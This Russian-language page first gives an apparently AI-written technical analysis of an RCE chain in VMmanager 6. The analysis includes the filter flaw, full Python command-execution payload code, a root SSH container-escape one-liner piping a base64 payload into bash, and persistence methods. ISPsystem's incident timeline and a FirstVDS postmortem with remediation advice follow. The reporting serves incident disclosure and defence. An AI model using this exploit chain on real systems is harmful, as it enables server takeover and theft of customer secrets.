+141.76
Рейтинг

Виталий Никсенкин

Отчет про VMmanager от ИИ







vmmanager6-rce-analysis.md

# Технический разбор уязвимости и цепочки RCE в VMmanager 6

Документ описывает механику эксплуатации уязвимости в панели управления **ISPsystem VMmanager 6**, позволяющей неавторизованному атакующему получить выполнение произвольного кода (RCE) внутри контейнеров панели, захватить постоянный доступ к API, выйти из Docker-контейнера на хост-сервер под `root` и скомпрометировать узлы кластера виртуализации.

---

## 1. Архитектура маршрутизации и точка входа (`input` / Nginx)

Входящий HTTP/HTTPS-трафик в VMmanager 6 принимает пограничный контейнер `input`, внутри которого работают **Nginx** и **consul-template**. Все микросервисы панели (`auth_v4`, `vm_v3`, `taskmgr_v4`, `installer_v1`, `vault_v4` и др.) регистрируются во внутреннем **Consul**, а `consul-template` динамически генерирует конфигурацию Nginx на основе шаблонов из `/etc/nginx/templates/*.ctmpl`.

Схема прохождения запроса внутри контейнера `input`:

1. Внешний HTTPS-сервер (`443 ssl`, шаблон `/etc/nginx/templates/secure.conf.ctmpl`) проверяет URL на обращение к внутренним служебным сервисам и проксирует трафик на внутренний порт `http://127.0.0.1:1500`.
2. Внутренний сервер на порту `1500` (`/etc/nginx/templates/frontend.conf.ctmpl`) подключает `/etc/nginx/conf.d/backend-api.inc` и `/etc/nginx/conf.d/backend.inc`.
3. В шаблонах `backend-api.inc.ctmpl` и `backend.inc.ctmpl` все не-`GET` запросы (`POST`, `DELETE` и т.д.) перезаписываются с добавлением префикса `/write`:

```nginx
if ($request_method != "GET") {
    rewrite ^(/.*)$ /write$1 last;
}
```

После перезаписи запрос попадает в сгенерированные из Consul `writer`-локации вида:

```nginx
location /write/{{ $service_endpoint }}/ {
    rewrite ^ /write$request_uri;
    rewrite /write/{{ $service_endpoint }}/(.*) /$1 break;
    proxy_pass http://{{$service_name}}_writer_upstream$uri;
    ...
}
```

### Ошибка в правиле фильтрации (`secure.conf.ctmpl`)

Внешний фильтр в `/etc/nginx/templates/secure.conf.ctmpl`, предназначенный для блокировки доступа извне к внутренним неавторизованным микросервисам (`installer/v1`, `taskmgr/v4`, `vault/v4`, `collector/v3` и др.), выглядел следующим образом:

```nginx
if ($uri ~ ^/(api/|writer/)?(collector/v3|hawatch/v3|input|installer/v1|nodewatch/v3|resowatch/v3|taskmgr/v4|vault/v4)(/|$)) {
    return 403;
}
```

В регулярном выражении допущена критическая ошибка: фильтр проверяет префикс **`writer/`**, тогда как реальные внутренние `writer`-маршруты в `backend.inc.ctmpl` и `backend-api.inc.ctmpl` используют префикс **`write/`** (`/write/taskmgr/v4/...`, `/write/installer/v1/...`, `/write/vault/v4/...`), а также не учитывает особенности нормализации путей при проксировании через `http://127.0.0.1:1500`.

В результате внутренние сервисы управления задачами (`taskmgr/v4`), установщиком (`installer/v1`) и хранилищем секретов (`vault/v4`), не имеющие собственной проверки пользовательских сессий на внутренних эндпоинтах, оказались доступны для вызовов извне.

---

## 2. Захват БД и закрепление через `/auth/v4/public/{key,token}`

Получив возможность обращаться к внутренним микросервисам, автоматизированный эксплойт первым шагом запрашивает у сервиса `installer/v1` переменные окружения контейнеров (`POST /installer/v1/docker_env`), выполняя внутри контейнеров команду:

```text
Docker exec. cmd: [printenv DATABASE_PASSWORD], stdin: false
```

Зная `DATABASE_PASSWORD`, атакующий получает прямой доступ к СУБД MySQL (`isp`) и закрепляется в системе авторизации `auth_v4`:

1. **Эксплуатация публичных эндпоинтов `/auth/v4/public/key` и `/auth/v4/public/token`**:
   - В микросервисе `auth_v4` (`etc/permissions.conf.d/public.json`) эндпоинты `/auth/v4/public/key` и `/auth/v4/public/token` открыты для группы `@any` (без авторизации).
   - Штатно `POST /auth/v4/public/key` принимает ключ из таблицы `isp.auth_key` и без пароля и 2FA обменивает его на полноценный сессионный токен (`isp.auth_token`) с правами администратора.
2. **Инъекция «неубиваемых» ключей и токенов в MySQL**:
   - Атакующий добавляет в таблицу `isp.auth_key` десятки ключей с флагом `eternal = 1` и `expires_at = NULL`, а также прописывает бессрочные сессии в `isp.auth_token`.
   - Чтобы администратор панели или штатные механизмы очистки не смогли сбросить эти сессии, в БД `isp` создаются вспомогательные таблицы `task_notify_keep_tokens` и `task_notify_keep_keys`, триггеры `auth_notify_keys` / `auth_notify_touch` и периодическое событие MySQL `auth_token_cleanup` (`EVENT`), которые автоматически восстанавливают удалённые ключи и продлевают время жизни токенов атакующего.

После этого атакующий может обращаться к любым внешним API панели как легитимный суперадминистратор, просто обменивая свои ключи через `POST /api/auth/v4/public/key`.

---

## 3. Механика RCE и эксфильтрации вывода через Consul (`taskmgr/v4`)

Для выполнения произвольных команд внутри контейнеров атакующий использует микросервис очередей задач `taskmgr/v4` (`POST /taskmgr/v4/task`), передавая в параметрах задачи:
- `bin_path`: `"/usr/bin/python3"`
- `bin_args`: `["-c", "<python_payload>", "<base64_cmd>", "<service_name>", "<service_id>", "<result_token>", "110.0", "110.0", "1048576"]`

Задачу подхватывает один из воркеров `/opt/ispsystem/taskmgr/bin/worker`, запущенных внутри контейнеров (`vm_back`, `vm_box`, `auth_back` и др.).

### Проблема возврата результата (Blind RCE -> Interactive HTTP RCE)

Контейнеры `vm_back` / `auth_back` находятся во внутренней Docker-сети за Nginx (`input`) и не торчат наружу. Чтобы получить `stdout`/`stderr` выполненной команды обратно в рамках обычного HTTPS-соединения к панели, авторы эксплойта реализовали динамическую регистрацию обратного маршрута через **Consul**:

1. Python-скрипт декодирует `sys.argv[1]` из Base64 и запускает команду через `/bin/sh -c`, записывая весь `stdout` и `stderr` во временный буфер.
2. Скрипт поднимает внутри контейнера одноразовый HTTP-сервер (`http.server.HTTPServer`) на случайном свободном порту (`0.0.0.0:0`), который отвечает только на путь `/result/<result_token>` и возвращает вывод команды вместе с кастомными заголовками:
   - `X-VMmanager-Result: <result_token>`
   - `X-VMmanager-Exit-Code: <return_code>`
   - `X-VMmanager-Timed-Out: 0|1`
   - `X-VMmanager-Truncated: 0|1`
3. Скрипт отправляет `PUT http://consul:8500/v1/agent/service/register`, регистрируя свой временный HTTP-сервер в Consul как новый микросервис с тегами `["backend", "reader"]` и маскировочным именем (например, `node_notify-1807d68b`, `host_info-a92ab95c`, `input_ee8f14bd846f44568206`).
4. В контейнере `input` демон `consul-template` мгновенно обнаруживает в Consul новый сервис с тегами `backend` и `reader`, **автоматически генерирует для него внешний маршрут `location /<service_name>/` в Nginx** и выполняет `nginx -s reload`.
5. Атакующий снаружи делает обычный запрос `GET https://<panel_host>/<service_name>/result/<result_token>`, забирает вывод команды, после чего Python-скрипт сам дерегистрирует временный сервис из Consul (`PUT /v1/agent/service/deregister/<service_id>`), закрывает сокет и завершает работу, а задача удаляется из таблицы `isp.taskmgr_task`.

### Полный исходный код Python-эксплойта (из `bin_args`)

```python
import base64
import http.server
import json
import os
import signal
import socket
import subprocess
import sys
import tempfile
import time
import urllib.parse
import urllib.request

command = base64.b64decode(sys.argv[1]).decode("utf-8")
service_name = sys.argv[2]
service_id = sys.argv[3]
result_token = sys.argv[4]
command_timeout = float(sys.argv[5])
serve_timeout = float(sys.argv[6])
max_output = int(sys.argv[7])

timed_out = False
with tempfile.TemporaryFile() as capture:
    process = subprocess.Popen(
        ["/bin/sh", "-c", command],
        stdin=subprocess.DEVNULL,
        stdout=capture,
        stderr=subprocess.STDOUT,
        start_new_session=True,
    )
    try:
        return_code = process.wait(timeout=command_timeout)
    except subprocess.TimeoutExpired:
        timed_out = True
        os.killpg(process.pid, signal.SIGKILL)
        return_code = process.wait()
    capture.seek(0)
    output = capture.read(max_output + 1)

truncated = len(output) > max_output
if truncated:
    output = output[:max_output]
if timed_out:
    output += ("\n[probe: command exceeded %.1f seconds]\n" % command_timeout).encode()
effective_return_code = 124 if timed_out else return_code

expected_path = "/result/" + result_token
check_id = "service:" + service_id

class ResultHandler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def do_GET(self):
        if urllib.parse.urlsplit(self.path).path != expected_path:
            self.send_error(404)
            return
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(len(output)))
        self.send_header("X-VMmanager-Result", result_token)
        self.send_header("X-VMmanager-Exit-Code", str(effective_return_code))
        self.send_header("X-VMmanager-Timed-Out", "1" if timed_out else "0")
        self.send_header("X-VMmanager-Truncated", "1" if truncated else "0")
        self.send_header("Connection", "close")
        self.end_headers()
        self.wfile.write(output)
        self.wfile.flush()
        self.server.result_delivered = True

    def log_message(self, _format, *_args):
        return

class ResultServer(http.server.HTTPServer):
    allow_reuse_address = True

server = ResultServer(("0.0.0.0", 0), ResultHandler)
server.timeout = serve_timeout
server.result_delivered = False

route_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
    _consul_ip = socket.getaddrinfo("consul", 8500, socket.AF_INET)[0][4][0]
    route_socket.settimeout(8)
    route_socket.connect((_consul_ip, 8500))
    service_address = route_socket.getsockname()[0]
finally:
    route_socket.close()

registration = json.dumps({
    "ID": service_id,
    "Name": service_name,
    "Tags": ["backend", "reader"],
    "Address": service_address,
    "Port": server.server_address[1],
    "Check": {
        "CheckID": check_id,
        "Name": service_name + " temporary result route",
        "TTL": "30s",
        "Status": "passing",
        "DeregisterCriticalServiceAfter": "1m",
    },
}).encode()

import signal as _wsignal
def _walarm(_sig, _frm):
    raise SystemExit(124)
_wsignal.signal(_wsignal.SIGALRM, _walarm)
_wsignal.alarm(int(serve_timeout + 90))

def consul_put(path, data=b""):
    request = urllib.request.Request(
        "http://consul:8500" + path,
        data=data,
        method="PUT",
        headers={"Content-Type": "application/json"},
    )
    opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
    with opener.open(request, timeout=5) as response:
        response.read()

registered = False
try:
    consul_put("/v1/agent/service/register", registration)
    registered = True
    deadline = time.monotonic() + serve_timeout
    next_heartbeat = 0.0
    while not server.result_delivered and time.monotonic() < deadline:
        if time.monotonic() >= next_heartbeat:
            consul_put("/v1/agent/check/pass/" + urllib.parse.quote(check_id, safe=""))
            next_heartbeat = time.monotonic() + 10.0
        server.timeout = min(1.0, max(0.1, deadline - time.monotonic()))
        server.handle_request()
finally:
    server.server_close()
    if registered:
        try:
            consul_put("/v1/agent/service/deregister/" + urllib.parse.quote(service_id, safe=""))
        except Exception:
            pass

if not server.result_delivered:
    raise SystemExit(124)
if timed_out:
    raise SystemExit(124)
raise SystemExit(effective_return_code if 0 <= effective_return_code <= 125 else 1)
```

---

## 4. Побег из Docker-контейнера на хост панели (`Container Escape`)

Поскольку `taskmgr_worker` выполняется внутри непривилегированного контейнера, для выхода на саму хост-систему под `root` используется архитектурная особенность демона установщика VMmanager (`/usr/local/bin/vm`):

1. На хосте от имени `root` запущен системный сервис `vm.service` (`/usr/local/bin/vm`), который слушает Unix-сокет `/opt/ispsystem/vm/socket/service.sock`. Этот сокет проброшен внутрь контейнеров (`vm_box`, `forward_proxy`, `updater`) и обслуживает внутренний сервис `installer/v1`.
2. В бинарнике `/usr/local/bin/vm` (модуль `installer/internal/ssh/authorized_keys.go`) реализован метод `/ssh_key` (штатно предназначенный для функции «Разрешить доступ техподдержке ISPsystem»). При вызове этого метода демон на хосте записывает переданный публичный SSH-ключ в `/root/.ssh/authorized_keys` (и `/etc/ssh/ispsystem.pub`) и выполняет `systemctl restart sshd`.
3. Атакующий вызывает этот метод, прописывая на хост свой сгенерированный ключ `ssh-ed25519` с комментарием `vm-support-check`.
4. Далее каждая задача внутри контейнера сохраняет приватный ключ во временный файл `/tmp/.hk` и выполняет команды напрямую на хосте через IP-адрес Docker-моста (`root@172.18.0.1`):

```bash
echo <BASE64_OPENSSH_PRIVATE_KEY> | base64 -d > /tmp/.hk
chmod 600 /tmp/.hk
ssh -o BatchMode=yes \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    -o ConnectTimeout=10 \
    -i /tmp/.hk -T root@172.18.0.1 'echo <BASE64_HOST_PAYLOAD> | base64 -d | bash'
rc=$?
rm -f /tmp/.hk
exit $rc
```

---

## 5. Пост-эксплуатация и компрометация узлов кластера (KVM-нод)

Получив `root` на хосте панели управления:

1. **Закрепление на хосте панели**:
   - Атакующий по частям (чанками по 65 КБ в `/tmp/.gb/c0000`..`c0150`) загружает на хост панели свои бинарные файлы, запускает процесс из памяти (`memfd_create` — `/memfd:bpfit (deleted)`) и создаёт фальшивые `systemd`-сервисы (`node-collect-svc.service`, `vm-mond.service`, `isp-stats-svc.service`).
   - В `/opt/ispsystem/vm/patch_*.yaml` прописывается `docker-compose`-оверлей, монтирующий скрипт с хоста в `/etc/my_init.d/` контейнера БД (`mysql`), чтобы при каждом перезапуске контейнера БД триггеры и вечные токены создавались заново.
2. **Атака на узлы кластера (гипервизоры)**:
   - Из таблицы `isp.vm_ssh_keys` (или через сервис `vault_v4`) извлекается приватный SSH-ключ кластера, по которому панель управляет всеми подключёнными KVM-узлами.
   - Также используется штатный механизм выполнения скриптов на узлах (`isp.vm_node_script` / задачи `ssh_run_node_script` в `taskmgr`).
   - На все узлы кластера копируется бинарник скрытого граббера под видом системного компонента QEMU (`/usr/libexec/.qemu-kvm-helper`), который в фоновом режиме инспектирует диски виртуальных машин из `/vm/` (через прямое чтение образов или `qemu-nbd`) в поисках приватных ключей, конфигурационных файлов, `.env` и кошельков, складывая результаты во временный буфер `/var/cache/.qkvc-<node_id>` для последующей выгрузки.

Атака на VMmanager 6 Hosting — разбор инцидента и хронология расследования



В середине октября инфраструктура нескольких десятков хостинг-провайдеров, использующих в своей ИТ-инфраструктуре VMmanager 6 Hosting, столкнулась со скоординированной многоэтапной атакой. Злоумышленники использовали уязвимости, которые с поправкой на специфику технических и бизнес-процессов хостинг-провайдеров увеличили поверхность атаки и привели к компрометации данных конфигурации, секретов и пользовательских файлов у ряда клиентов.

При взаимодействии с заказчиками и партнерами команда разработки ISPsystem в кратчайшие сроки начала расследование и устранение инцидента безопасности. В частности, было установлено, что атака на VMmanager 6 велась с помощью специализированных ИИ-инструментов. Уязвимости, которые эксплуатировались в ходе атаки, закрыты. Работа по изучению инцидента продолжается, чтобы исключить другие возможные векторы и установить все обстоятельства произошедшего.

Что произошло
14.10.2026 в 00:40 (МСК) в службу технической поддержки поступило обращение от одного из хостинг-провайдеров — в его инфраструктуре была обнаружена подозрительная активность на серверах под управлением VMmanager 6 Hosting.

Сразу после этого команда ISPsystem оперативно инициировала совместное с хостинг-провайдерами расследование инцидента, однако на момент начала реагирования не было достоверно установлено, что именно является точкой входа — платформа VMmanager 6 Hosting или инфраструктура провайдера. В дальнейшем анализ ситуации показал, что первые следы проникновения были зафиксированы у некоторых клиентов 12.10.2026. Также об этом свидетельствуют обсуждения пользователей в профильных сообществах социальных сетей.

По информации от провайдеров было выдвинуто предположение, что злоумышленник проник в инфраструктуру через уязвимость в ISO-образе, верифицированную в рамках программы Bug Bounty 09.10.2026. Иными словами, подобная ошибка предполагает наличие первичного пользовательского доступа, который можно получить, фактически просто купив виртуальную машину у хостинг-провайдера. Команда работала над ее исправлением. Усиление безопасности требовало определенных архитектурных доработок, поэтому релиз новой версии платформы был запланирован на 15.10.2026.

14.10.2026 в 19:00 (МСК) для экстренного закрытия уязвимостей вместо запланированного патча были выпущены хотфиксы 2026.05.2-5 и 2026.09.1-1, основанные на исправлениях, запланированных в новой версии. Чтобы ускорить выпуск, мы не стали включать в этот хотфикс ряд превентивных архитектурных доработок, которые планировали к релизу 15 октября: они вошли в следующие хотфиксы. Также команда ISPsystem оперативно уведомила заказчиков через техническую поддержку о необходимости установки таковых и дала актуальные на тот момент рекомендации по защите инфраструктур, в том числе закрыть возможность загрузки пользователями своих ISO для уже скомпрометированных инфраструктур. Поскольку VMmanager и DCImanager имеют ряд общих сервисов, схожий патч 2026.09.1-1 был собран и применён для DCImanager 15.10.2026.

В отличие от Enterprise-сегмента, где инфраструктуру можно полностью изолировать внутри закрытого корпоративного периметра, бизнес-модель хостинг-провайдеров требует максимальной публичной доступности. По этой причине хостинг-провайдеры, как правило, эксплуатируют платформу в открытом контуре. Здесь важно уточнить: для хостинг-провайдера «открытый контур» — это не просто наличие доступа в интернет, а публично доступные сервисы на белых IP-адресах. Именно белые IP-адреса и выставленные наружу сервисы кратно увеличивают поверхность атаки, которая включает не только саму платформу, но и окружающую инфраструктуру. У инфраструктурных клиентов «открытый контур» обычно означает лишь доступ в интернет. Поэтому модели угроз для этих двух сценариев принципиально различаются.

Утром 17.10.2026 (МСК) началась новая волна атак, подтвержденная обращениями в поддержку ISPsystem. Их количество увеличивалось по нарастающей в течение дня, и к вечеру 17.10.2026 суммарно составило порядка 20. В ходе изучения журналов систем, подвергшихся новому этапу атаки, мы выяснили, что выпущенный ранее хотфикс решил поставленную перед ним задачу, однако злоумышленник начал дополнительно эксплуатировать другую уязвимость. Одновременно с этим предприняли еще ряд мер защиты — закрыли возможность выдачи SSH-доступа в платформе, запретили администраторам запускать скрипты для узлов и ВМ, дали провайдерам рекомендации по «закрытию» их инфраструктуры, которые позволили ограничить злоумышленнику пространство для маневра и помешать ему закрепиться в системе, и собирали хотфиксы.

18.10.2026 в 4:00 (МСК) были выпущены хотфиксы 2026.05.2-6 и 2026.09.1-2. Мы намеренно ограничили часть функционала, в том числе запуск и выполнение скриптов внутри платформы. Это позволяло «парализовать» злоумышленника, однако мы понимали, что первопричина инцидента пока не найдена, и продолжали вести расследование.

18.10.2026 в 18:00 (МСК) были выпущены хотфиксы 2026.05.2-7 и 2026.09.1-3 с закрытием дополнительных потенциально возможных путей перемещения внутри продукта.

19.10.2026 были выпущены обновления безопасности для DCImanager 6 — 2026.09.1-3 и 2026.09.1-4: как уже упоминали, платформа имеет схожую архитектуру с VMmanager 6, и мы защищали и ее в рамках реагирования на инцидент.

19.10.2026 в 16:00 (МСК) в ходе расследования мы установили, что злоумышленник проникал на серверы с использованием контрабанды HTTP-запросов (HTTP Request Smuggling). Для этого использовалась ранее неизвестная 0-day уязвимость в нашем сервисе, а особенность nginx пропускать такие запросы делала ее эксплуатацию возможной. В систему отправлялся HTTP-запрос на установку websocket-соединения с телом. По RFC такое поведение со стороны клиента не рекомендуется, nginx пропускает подобные запросы, и это открыло возможность использования контрабанды HTTP-запросов.

В NGINX, начиная с версии 1.31.5 от 2 сентября 2026 года, появилась директива client_body_early_read, позволяющая легко и удобно настраивать блокировку подобных запросов как для HTTP/1.1, так и для HTTP/2 (к счастью, HTTP/3 мы не используем). К сожалению, в stable-версии nginx на текущий момент (1.30.6) эта директива еще не поддерживается. Безусловно, найденная особенность работы nginx не снимает с нас ответственности за возникновение инцидента, однако мы крайне рекомендуем учитывать ее, если вы используете это решение в своей инфраструктуре.

Это привело к тому, что сервис, к которому обращается злоумышленник, запрос отвергает, но при этом не вычитывает его тело, а поскольку запрос содержит keep-alive, читает полученное тело как новый запрос. Для обычных запросов при передаче их из nginx в сервис (proxy_pass) мы со своей стороны использовали дополнительные Connection: close, что не позволяет обманывать систему подобным образом, но для websocket этого делать нельзя.

Это и позволило злоумышленнику выполнить запрос внутри системы с административными привилегиями. Внутри сети docker наши службы помечают внутренние запросы специальным HTTP-заголовком, который снаружи не принимается (nginx, используемый как frontend, этот заголовок не пропускает). Но из-за того, что nginx второй запрос воспринимал как тело первого, он никак не анализировал и не менял его.

19.10.2026 в 21:00 (МСК) были выпущены хотфиксы 2026.05.2-8 и 2026.09.1-4 с исправлением обнаруженной контрабанды HTTP-запросов (HTTP Request Smuggling), при этом блокировка части функционала сохранялась, поскольку злоумышленник все еще оставался внутри платформы.

20.10.2026 в 4:00 (МСК) были выпущены хотфиксы 2026.05.2-9 и 2026.09.1-5: возвращены веб-сокеты, которые ранее ограничил хотфикс против HTTP Request Smuggling, а также выпущен более аккуратный фикс основной уязвимости, не затрагивавший основную функциональность платформы.

Параллельно мы занимались зачисткой инфраструктур: искали вредоносные файлы, бэкдоры и закрепления и значительную часть из них находили и удаляли сами. «Лаборатория Касперского» предложила свою помощь в поиске и устранении следов атакующих и индикаторов компрометации, и мы приняли это предложение: коллеги усилили начатую нами работу по чистке. С согласия тех клиентов, чьи инфраструктуры проверялись, мы провели аудит их систем с помощью утилиты «Лаборатории Касперского» и передали партнеру результаты анализа их инфраструктур, а также скрипты, которые написали сами для поиска следов.

Также «Лаборатория Касперского» оперативно обновила детектирующие правила для обнаружения ВПО атакующих с помощью собственных решений. Правила обновлялись далее по мере получения новых данных в ходе расследования инцидента.

20.10.2026 в 21:30 (МСК) выпущены хотфиксы 2026.05.2-10 и 2026.09.1-6 с доработкой архитектуры и возвратом ещё части намеренно заблокированного функционала. Добавлена автоматическая блокировка известных «закладок» злоумышленника. Также был выпущен фикс для DCImanager — 2026.09.1-5.

21.10.2026 в 19:00 (МСК) на основе анализа данных хостинг-провайдеров «Лаборатория Касперского» предоставила бесплатный инструмент Kaspersky Virus Removal Tool (KVRT). Он помогал выявлять оставшиеся вредоносные объекты — например, бинарные файлы и другие следы атакующих. Инструмент был передан ряду провайдеров для дополнительного сканирования. Он показал эффективность, после чего ISPsystem предложила его всем, кого затронул инцидент.

22.10.2026 в 21:30 (МСК) мы выпустили фиксы 2026.05.2-11 и 2026.09.1-7 с дополнительными механизмами защиты платформы от потенциальных атак и стабилизационными улучшениями уже выпущенных хотфиксов. Параллельно мы продолжили анализировать скомпрометированные инфраструктуры, искать бэкдоры и аномалии.

23.10.2026 выпущены обновления безопасности для всех продуктов экосистемы: VMmanager 6 — stable v2026.05.2-12, regular v2026.09.1-8; DCImanager 6 — stable v2026.09.2-2, regular v2026.09.1-6; BILLmanager 6 — stable v6.154.5, regular v6.157.3; DNSmanager 6 — v6.5.2. Подчеркнем: эти обновления представляют собой дополнительные меры защиты, внедренные по результатам анализа методов атаки, и направлены на усиление безопасности экосистемы в целом — в том числе от векторов, которые в ходе инцидента не применялись. Также включают обновление компонентов nginx с устранением известных уязвимостей CVE-2026-15176, CVE-2026-97205, CVE-2026-93479.

После установки патча от 19.10.2026 случаев компрометации инфраструктур, применивших обновление, не зафиксировано.

23.10.2026 совместно с «Лабораторией Касперского» и клиентами хостинг-провайдеров мы продолжили работу по изучению скомпрометированных инфраструктур. По ее завершении мы дополнительно проинформируем о рекомендациях, которые необходимо выполнить для полной зачистки инфраструктуры.

В ходе расследования, чтобы проверить эффективность исправлений в условиях реальной атаки, ISPsystem развернула ряд стендов в открытом контуре, имитирующих инфраструктуру хостинг-провайдеров (honeypot): часть с актуальными патчами безопасности, другая без них. Стенды без исправлений были намеренно оставлены уязвимыми и подтвердили воспроизводимость атак. Стенды с исправлениями скомпрометировать не удалось.

Злоумышленник обнаружил стенды в короткие сроки и в течение нескольких дней предпринимал попытки взлома: в общей сложности более 10 000 запросов только на одну установку с перебором различных векторов и вызовов. Все попытки против защищенных стендов были отражены: исправления подтвердили эффективность в условиях реальной атаки. При этом мы изучаем, какие векторы злоумышленник пробовал использовать: эти данные будут учтены в следующих патчах.

На данный момент в ходе совместного с провайдерами расследования инцидента было установлено, что атака повлекла за собой угрозу безопасности пользовательских данных, включая потенциальную утечку SSH-ключей, паролей доступа, токенов доступа к облачным сервисам, конфигурационных файлов, истории вводимых команд, криптокошельков и пользовательских документов. Для части конечных клиентов инцидент обернулся временной недоступностью сервисов, вызванной необходимостью проведения экстренных технических работ и принудительной изоляции скомпрометированных нод. В результате анализа инцидента на узлах было обнаружено специализированное вредоносное ПО, занимающееся сбором данных. Вместе с тем мы не можем ни подтвердить, ни опровергнуть объем и сам факт передачи данных. Поэтому ряд провайдеров оценивает ситуацию консервативно и считает де-факто данные скомпрометированными. Мы считаем данный подход обоснованным.

На сегодняшний день закрыты уязвимости, которые эксплуатировались в ходе атаки. На инфраструктурах заказчиков развернуты необходимые исправления безопасности. При этом расследование продолжается: совместно с заказчиками и партнерами мы изучаем скомпрометированные инфраструктуры, анализируем поведение атакующего, а также ищем заложенные ранее не выявленные злоумышленником бэкдоры.

Меры реагирования и недопущения подобных ситуаций:
  • В рамках реагирования было организовано тесное взаимодействие с рядом хостинг-провайдеров — их обратная связь, содействие в проверке инсталляций и готовность участвовать в диагностике использовались для локализации инцидента и проверки эффективности принятых мер.
  • Мы информировали клиентов по закрытым каналам: рассылки, личный кабинет, баннеры в продукте. Публичных заявлений не делали, пока злоумышленник оставался активен: преждевременное раскрытие деталей могло увеличить число пострадавших. Приоритетом было снижение риска для клиентов, а не скорость публичной коммуникации. Дополнительно мы убирали с официального сайта предыдущие версии патчей безопасности, чтобы у клиентов не возникало путаницы при установке актуальной версии. Убедительно просим обращать внимание на сообщения вендора и не откладывать установку обновлений безопасности.
  • На стороне продукта внесены изменения во внутренний framework, используемый всеми сервисами системы — усилен контроль над обработкой HTTP-запросов и введены дополнительные проверки для внутренних запросов, чтобы снизить риск их подделки при проникновении злоумышленника во внутреннюю сеть.
  • Усилены механизмы защиты платформы от потенциальных атак — изменения уже вошли в последний релиз. Работа по повышению защищенности платформы продолжается — в ближайшее время выпустим и другие дополнительные обновления. Пожалуйста, устанавливайте актуальные версии и следите за рекомендациями. Использование старых версий продукта значительно усложняет или вовсе исключает проведение расследования в случае возникновения инцидента, а также делает возможным использование уязвимостей для проникновения и взлома, уже устраненных вендором в актуальных версиях платформы.
  • Мы уже трансформировали внутренний процесс управления жизненным циклом уязвимостей. Это позволит усилить их поиск, контроль и обработку, а также перейти к модели сквозного превентивного и экспресс-реагирования на инциденты безопасности. Данный подход уже применялся при итеративной доставке последних хотфиксов. Почему это важно? Когда атакующие работают с автоматизированными инструментами, между находкой уязвимости и её эксплуатацией проходят часы.
  • Еще одно направление работы — автоматизированный непрерывный ИИ-пентест. Эта практика применялась и ранее, но в рамках реагирования на инцидент была усилена: выросла частота проверок и расширился их охват. Это позволяет выявлять скрытые цепочки уязвимостей более оперативно.
  • Сотрудничество с «Лабораторией Касперского» будет продолжено с целью аудита скомпрометированных инфраструктур и проведения полноценного расследования для восстановления всей картины инцидента, включая поиск закрепов акторов, новых IoC и зачистку инфраструктур.
  • Важная информация для пользователей, которые закрыли контур в связи с инцидентом: просим держать контур закрытым еще некоторое время: мы завершаем анализ действий злоумышленника и планируем выпустить еще несколько патчей с усилением безопасности. Мы сообщим о возможности открытия контура и возобновлении работы в штатном режиме. Дополнительно всем пользователям рекомендуем использовать надежные средства защиты от киберугроз. Решения «Лаборатории Касперского» обнаруживают ВПО, применяемое в данной атаке. Вы также можете проверить инфраструктуру с помощью бесплатного инструмента Лаборатории под названием Kaspersky Virus Removal Tool (KVRT).
Важная информация для пользователей лицензий VMmanager Infrastructure и VMmanager Infrastructure (версия ФСТЭК): мы подготовили дополнительные меры усиления безопасности платформы на основании данных анализа инцидента и рекомендуем произвести установку выпускаемых патчей по мере их выхода.

Вывод
Мы столкнулись с беспрецедентной по своим масштабам атакой и на наши продукты, и на хостинг-провайдеров одновременно. На сегодняшний день было установлено, что она велась с помощью специализированных инструментов на базе ИИ. В частности, на это указывает наличие характерных специфических ИИ-паттернов, оставленных комментариев в скриптах злоумышленника, количество атак, а также тот факт, что в разных инфраструктурах одновременно шел параллельный процесс подбора методов атаки с динамическим изменением поведения злоумышленника в зависимости от настроек инфраструктуры конкретного провайдера, и ряд других наблюдений, сделанных нами в процессе изучения инцидента.

Сегодня инструменты на базе ИИ все активнее применяются при поиске уязвимостей, в том числе в широко распространенных компонентах — PHP, ядре Linux, nginx, Postgres. За последние недели атакам подверглись как фундаментальные компоненты, так и прикладные платформы. Использование таких инструментов существенно меняет требования к скорости реакции разработчиков программного обеспечения на подобные угрозы. Безусловно, безопасность — это не свойство когда-то написанного кода, а непрерывный процесс. ИИ не отменяет этот процесс, но задает ему более высокий темп.

Безопасность требует постоянной работы; для недопущения подобных ситуаций мы продолжим выпускать обновления с усиленными механизмами защиты и анализировать инфраструктуры. Расследование инцидента не завершится до тех пор, пока мы не будем уверены, что в пораженных средах не осталось каких-либо закреплений или бэкдоров злоумышленника.

Мы понимаем, что этот инцидент потребовал от наших клиентов и партнеров дополнительных усилий, приносим свои извинения и благодарим всех, кто помогает в диагностике и проверке исправлений.

Постмортем — атака на FirstVDS 17.10.2026



Основные результаты расследования
17 октября 2026 года мы обнаружили компрометацию платформы управления виртуализацией VMmanager 6, разработанной ISPsystem. Злоумышленник получил административный доступ к панели и использовал её штатные функции для запуска сборщика данных на узлах виртуализации. Сборщик подключал диски клиентских виртуальных машин в режиме только для чтения и копировал выбранные файлы, включая пароли, ключи, токены и конфигурации. Он работал на гипервизорах и не требовал запуска программы внутри клиентских ВМ.

Мы приносим извинения за последствия инцидента, ограничения в управлении услугами и необходимость срочной смены учётных данных. В этом отчёте изложены установленные обстоятельства, оценка последствий, выполненные меры и дальнейшие действия.

Редакция от 27 октября 2026 года. Время событий — московское (UTC+3). Расследование ведёт аналитическая группа на базе Отдела эксплуатации FirstVDS.

Действия для затронутых клиентов
18 октября мы начали направлять персональные уведомления по электронной почте и через личный кабинет, указывая затронутые серверы и необходимые действия. По результатам дополнительной проверки уведомления дополнялись. Если вы получили такое сообщение, считайте данные на указанных серверах скомпрометированными и выполните следующие действия. Скопированные пароли и ключи сохраняют силу до их смены или отзыва.
  • Смените пароли root и других пользователей сервера, а также пароли баз данных, панелей управления и приложений.
  • Перевыпустите SSH-ключи, API-ключи и токены облачных сервисов, репозиториев, платёжных систем и ботов. Отзовите прежние ключи и токены: одного создания новых недостаточно.
  • Проверьте файлы конфигурации, включая .env и строки подключения к базам данных. Замените содержащиеся в них пароли и другие секреты, в том числе используемые для доступа к внешним системам.
  • Если на сервере хранились приватные ключи или seed-фразы криптокошельков, перенесите средства на новые кошельки, созданные на доверенном устройстве.

